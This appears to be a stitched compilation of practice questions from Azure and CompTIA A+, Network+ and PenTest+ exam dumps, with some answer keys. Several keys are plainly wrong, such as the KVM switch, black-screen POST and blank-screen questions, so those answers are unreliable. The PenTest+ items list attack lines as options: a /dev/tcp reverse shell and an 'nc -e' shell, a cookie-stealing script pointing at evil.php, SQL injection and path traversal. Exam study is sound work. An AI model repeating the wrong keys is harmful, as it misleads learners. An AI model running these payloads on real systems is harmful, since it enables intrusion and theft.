C. an Enterprise Agreement (EA)
D. a pay-as-you-go subscription
Correct Answer: C
References: https://docs.microsoft.com/en-gb/azure/cost-management/overview-cost-mgt

QUESTION 10
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
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QUESTION 11
You plan to implement an Azure database solution.
You need to implement a database solution that meets the following requirements:
Can add data concurrently from multiple regions
Can store JSON documents
Which database service should you deploy? To answer, select the appropriate service in the answer area.
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QUESTION 12
HOTSPOT
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
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Reference: https://docs.microsoft.com/en-us/azure/billing/billing-add-change-azure-subscription-administrator
https://docs.microsoft.com/en-us/azure/billing/billing-upgrade-azure-subscription https://docs.microsoft.com/enus/azure/billing/billing-spending-limit

QUESTION 13
HOTSPOT
For each of the following statements, select Yes if the statement is true. Otherwise, select No.
NOTE: Each correct selection is worth one point.
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QUESTION 1

Which of the following is the purpose of a KVM switch?

A. To allow the user to access multiple files
B. To allow the user to utilize multiple printers
C. To allow the user to connect to multiple networks
D. To allow the user to control multiple computers

Correct Answer: A

QUESTION 2

A user was working on several documents located at \\networkshare\ files and was able to save them before taking a break. The user returned and attempted to open the network path but then received the following error message: File location is invalid The user was also unable to access Internet sites. A technician began troubleshooting and was able to ping the file server by IP address. Which of the following issues was the user MOST likely experiencing?

A. The DNS server was unreachable.
B. The NTP server was not available.
C. The DHCP lease had expired.
D. The APIPA address was incorrect.

Correct Answer: A

QUESTION 3

A workstation has RAID 1 and RAID 5 arrays. Although performance is not degraded, management software is reporting a hard disk failure.
Which of the following should a technician do NEXT?

A. Check one of the RAID 1 disks for failure
B. Rebuild the RAID 1 disks for failure
C. Check one of the RAID 5 disks for failure
D. Rebuild the RAID 5 array

Correct Answer: C

QUESTION 4

A technician upgraded the memory on a server from two 8GB sticks to eight 32GB. The server memory is now at full capacity per the user guide. When the technician powers on the system, only 128 GB of memory is recognized by the OS and the BIOS. The technician decides to upgrade to the latest version of the firmware on the system, which does not help. Next, the technician installs the memory in sets of 64GB at a time. Each individual set of 64GB is fully recognized by the server.
Which of the following will not allow the server to recognize all of the memory installed at the same time?

A. The power supply is not supplying enough power for the memory.
B. The memory has too many ECC errors and is shutting down
C. The server is overheating when all of the memory is installed.
D. The server needs DDR4 memory, and DDR3 is installed.

Correct Answer: D

QUESTION 5

After a technician installs hardware and turns on a system the PC does not complete POST and only displays a black screen Which of the following should the technician try FIRST to fix the issue?

A. Flash the BIOS
B. Reimage the system
C. Reseat the memory
D. Change the boot order

Correct Answer: A

QUESTION 6

A user primed a report on a workgroup inkjet printer, but the pages have smeared Ink on them. Which of the following should a technician check FIRST to address this Issue?

A. if the print quality setting is set to best
B. If there is no debris In the paper path
C. If the correct media type is selected
D. If the print heads are calibrated

Correct Answer: B

QUESTION 7

A technician is setting up a WiFi-enabled thermostat for a customer, but the customer is concerned about IoT devices getting hacked.
Which of the following BEST address the customer\’s concerns? (Choose two.)

A. Use the latest encryption standard on the wireless network and set a strong password.
B. Enable two-factor authentication for the IoT device\’s cloud account, if it is available.
C. Separate the IoT thermostat by segregating it in a DMZ network.
D. Disable wireless access on the thermostat to make it unshakable.
E. Upgrade the customer\’s router to the latest version to improve network security.
F. Upgrade the customer\’s wireless network encryption to WPA.

Correct Answer: AB

QUESTION 8

A technician is building a custom desktop and has loaded an OS through PXE boot The technician configures the OS, but the computer will not startup. Which of the following must be modified to allow the computer to startup?

A. Secure boot configurations
B. Internal connectors
C. Bootini file
D. Boot options
E. Front panel connections

Correct Answer: D

QUESTION 9

A user reports that when powering up a computer, only a blank screen appears, however, the computer functioned properly the day before. A technician looks at the computer and verifies the power light is on and the fans are working properly when powering on the computer. Which of the following is the MOST likely the cause of the issue?

A. CPU
B. PSU
C. FDD
D. SSD

Correct Answer: D

QUESTION 10

A technician just replaced the ink cartridges in an office inkjet printer; however, the printer still does not produce sufficient print quality. Which of the following should the technician try NEXT?

A. Buy a new printer.
B. Clean the heads.
C. Replace the maintenance kit.
D. Replace the heating element.

Correct Answer: C

QUESTION 11

A customer wants to upgrade a PC\’s internal storage to have more room to store backups, photos, and videos. The new storage should be large enough to avoid expanding again next year.
Which of the following BEST meets these needs?

A. 3TB HDD
B. 50GB NAS
C. 500TB SAN
D. 512GB SSD

Correct Answer: A

QUESTION 12

A technician is setting up a BYOD smartphone to access corporate collaborative resources.
Which of the following will MOST likely be synchronized to the corporate network? (Choose two.)

A. Email
B. Calendar
C. Location data
D. E-books
E. Passwords
F. Applications

Correct Answer: AB

……


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1. A network administrator is reviewing interface errors on a switch. Which of the following indicates that a switchport is receiving packets in excess of the configured MTU?

A. CRC errors
B. Giants
C. Runts
D. Flooding

 

2. Which of the following WAN technologies swaps the header on a packet when internally switching from one provider router to another?

A. ATM
B. Frame relay
C. MPLS
D. PPP

 

3. A technician has completed configuration on a new satellite location. The location has a new firewall and a small internal network. The technician has been asked to perform basic vulnerability testing.

Which of the following tools would BEST assist the technician in verifying the security of the site?

A. Packet sniffer
B. Bandwidth tester
C. Port scanner
D. Protocol analyzer

 

4. Which of the following is true about an IP address if the first bit is a one and the second bit is a zero?

A. The address is a Class A address.
B. The address is a Class B address.
C. The address is a Class C address.
D. The address is a Class D address.

 

5. Kim, a network administrator, should consult which documentation sources FIRST to determine the cause of recent network issues?

A. Network map
B. Cable management
C. Change management
D. Asset management

 

6. Which of the following connector types would Sandy, a network technician, use to connect a serial cable?

A. RJ-11
B. BNC
C. LC
D. DB-9

 

7. A company requires a disaster recovery site to have equipment ready to go in the event of a disaster at its main datacenter. The company does not have the budget to mirror all the live data to the disaster recovery site.

Which of the following concepts should the company select?

A. Cold site
B. Hot site
C. Warm site
D. Cloud site

 

8. A technician is installing a cable modem in a SOHO. Which of the following cable types will the technician MOST likely use to connect a modem to the ISP?

A. Coaxial
B. Single-mode fiber
C. Cat 6e
D. Multimode fiber

 

9. A company is being acquired by a large corporation. As part of the acquisition process, the company\\’s address should now redirect clients to the corporate organization page.

Which of the following DNS records needs to be created?

A. SOA
B. NS
C. CNAME
D. TXT

Reference: https://www.namecheap.com/support/knowledgebase/article.aspx/9604/2237/types-of-domain-redirects-301-302-url-redirects-url-frame-and-cname/#:~:text=CNAME%20record%20is%20actually%20not,often%20mistakenly%20used%20as%20such.andtext=In%20other%20words%2C%20CNAME%20record,address%20of%20the%20destination%20hostname

 

10. A national cable company providing TV, telephone, and Internet service to home users over its IP network, has been tracking a large increase of network bandwidth due to P2P file sharing.

Which of the following should the company deploy to ensure excellent TV and telephone service?

A. QoS
B. Load balancing
C. High availability
D. Fiber optics

 

11. Which of the following is the physical topology for an Ethernet LAN?

A. Bus
B. Ring
C. Mesh
D. Star

 

12. Which of the following ports are associated with IMAP? (Choose two.)

A. 25
B. 110
C. 143
D. 587
E. 993
F. 995

Reference: https://billing.precedence.com.au/billing/knowledgebase/70/Mail-Ports-for-POP3-IMAP-and-SMTP.html

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Please record your answers and verify them at the end of the article

QUESTION 1

A penetration tester ran the following command on a staging server:
python –m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

A. nc 10.10.51.50 9891
B. powershell –exec bypass –f \\10.10.51.50\9891
C. bash –i >and /dev/tcp/10.10.51.50/9891 0and1>/exploit
D. wget 10.10.51.50:9891/exploit

Reference: https://www.redhat.com/sysadmin/simple-http-server

 

QUESTION 2

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client\\’s cybersecurity tools? (Choose two.)

A. Scraping social media sites
B. Using the WHOIS lookup tool
C. Crawling the client\\’s website
D. Phishing company employees
E. Utilizing DNS lookup tools
F. Conducting wardriving near the client facility

 

QUESTION 3

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot.

Which of the following techniques would BEST support this objective?

A. Create a one-shot systemd service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh command.
D. Move laterally to create a user account on LDAP

 

QUESTION 4

A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

A. var adr= `../evil.php?test=\\’ + escape(document.cookie);
B. ../../../../../../../../../../etc/passwd
C. /var/www/html/index.php;whoami
D. 1 UNION SELECT 1, DATABASE(),3-

 

QUESTION 5

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an
approved version of Linux and a patched version of Apache.

Which of the following commands will accomplish this task?

A. nmap –f –sV –p80 192.168.1.20
B. nmap –sS –sL –p80 192.168.1.20
C. nmap –A –T4 –p80 192.168.1.20
D. nmap –O –v –p80 192.168.1.20

Reference: https://nmap.org/book/man-version-detection.html

 

QUESTION 6

Which of the following expressions in Python increase a variable val by one (Choose two.)

A. val++
B. +val
C. val=(val+1)
D. ++val
E. val=val++
F. val+=1

Reference: https://stackoverflow.com/questions/1485841/behaviour-of-increment-and-decrement-operators-in-python

 

QUESTION 7

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client.

Which of the following best describes the NEXT step in the engagement?

A. Acceptance by the client and sign-off on the final report
B. Scheduling of follow-up actions and retesting
C. Attestation of findings and delivery of the report
D. Review of the lessons learned during the engagement

 

QUESTION 8

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals.

Which of the following should the tester do NEXT?

A. Reach out to the primary point of contact
B. Try to take down the attackers
C. Call law enforcement officials immediately
D. Collect the proper evidence and add to the final report

 

QUESTION 9

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

A. HTTPS communication
B. Public and private keys
C. Password encryption
D. Sessions and cookies

 

QUESTION 10

A penetration tester is reviewing the following SOW prior to engaging with a client:
“Network diagrams, logical and physical asset inventory, and employees\\’ names are to be treated as client
confidential. Upon completion of the engagement, the penetration tester will submit findings to the client\\’s Chief
Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.” Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and
inspection

B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement

C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client\\’s
senior leadership team

D. Seeking help with the engagement in underground hacker forums by sharing the client\\’s public IP address

E. Using a software-based erase tool to wipe the client\\’s findings from the penetration tester\\’s laptop

F. Retaining the SOW within the penetration tester\\’s company for future use so the sales team can plan future
engagements

 

QUESTION 11

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging.

Which of the following techniques would BEST accomplish this goal?

A. RFID cloning
B. RFID tagging
C. Meta tagging
D. Tag nesting

 

QUESTION 12

A penetration tester runs the following command on a system:
find / -user root –perm -4000 –print 2>/dev/null

Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory
B. Find the /root directory on the system
C. Find files with the SUID bit set
D. Find files that were created during exploitation and move them to /dev/null

Reference: https://sagar5258.blogspot.com/2015/03/find-command-in-linux-examples.html

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CompTIA 220-1002 exam questions online test

The answer is announced at the end of the article

QUESTION 1

A SOHO technician needs to upgrade two computers quickly and is not concerned about retaining user settings. The
users currently have Windows 8 and want to upgrade to Windows 10.
Which of the following installation methods would the technician MOST likely use to accomplish this quickly?

A. Unattended installation
B. Remote network installation
C. In-place upgrade
D. Clean installation

 

QUESTION 2

A technician is adding a folder lo a structure that Is several levels down from the top level. The technician wants to make sure the new folder will have the same permissions as the top level Which of the following should the technician
configure?

A. Attributes
B. Shares
C. Inheritance
D. Replication

 

QUESTION 3

The Chief Executive Officer (CEO) of an organization frequently travels with sensitive data on a laptop and is concerned
the data could be compromised if the laptop is lost or stolen. Which of the following should the technician recommend to BEST ensure the data is not compromised if the laptop is lost or stolen?

A. Implement strong password policies.
B. Encrypt the hard drive on the laptop.
C. Set up a BIOS password on the laptop.
D. Enable multifactor authentication on the laptop.

 

QUESTION 4

A user opens a phishing email and types logon credentials into a fake banking website. The computer\\’s antivirus
software then reports it has several from the network. Which of the following should the technician perform NEXT?

A. Have the user change the password.
B. Update the antivirus software and run scans.
C. Disable the user\\’s local computer account.
D. Quarantine the phishing email.

 

QUESTION 5

A technician Is completing the documentation for a major OS upgrade of a Linux distribution that will impact a
company\\’s web services. The technician finishes the risk assessment and documents the change process. Which of
the following should the technician complete NEXT?

A. Scope of the change
B. Back-out plan
C. Purpose of the change
D. Change request

 

QUESTION 6

A technician accessed a network share from a computer joined to workgroup. The technician logged in as “user1” and
directed the computer to save the username and password. Several weeks later, the technician wants to log in to this
network share using the administrator account. The computer does not prompt for a username and password, but it
automatically logs in to the network share under the “user1” account. Which of the following would allow the technician to log in using the “administrator” username?

A. Use the command: net use Z: \\fileserver\share
B. Go to the Sync Center and disable the offline files feature.
C. Delete the “user” account for the network share in Credential Manager.
D. Join the computer and file server to a domain and delegate administrator rights to “user1”.
E. Use the Advanced Sharing options in the Network and Sharing Center and enable “turn on network discovery”.

 

QUESTION 7

A technician is troubleshooting a print issue on a Windows computer and want to disable the printer to test a theory,
Which of the following should the technician use to accomplish this?

A. Devices and Printer
B. Sync Center
C. Device Manager
D. Power Option

 

QUESTION 8

Which of the following should be replaced after a voltage spike?

A. Surge suppressor
B. Battery backup
C. Power supply
D. Electrical cable

 

QUESTION 9

An application is installed and configured locally on a workstation, but it writes all the save files to a different workstation on the network. Which of the following accurately describes the configuration of the application?

A. Network-based
B. Client/server
C. Application streaming
D. Peer-to-peer

 

QUESTION 10

A small office\\’s wireless network was compromised recently by an attacker who brute forced a PIN to gain access. The
attacker then modified the DNS settings on the router and spread malware to the entire network.
Which of the following configurations MOST likely allowed the attack to take place? (Select two.)

A. Guest network
B. TKIP
C. Default login
D. Outdated firmware
E. WPS
F. WEP

 

QUESTION 11

When a computer accesses an HTTPS website, which of the following describes how the browser determines the
authenticity of the remote site?

A. Certificates
B. Software tokens
C. Firewall
D. Port security

 

QUESTION 12

A technician is installing a new operating system. The company policy requires that the file system used must support
file permissions and security. Which of the following should the technician use to BEST meet the company needs?

A. NTFS
B. CDFS
C. FAT32
D. UDF

Verify answer

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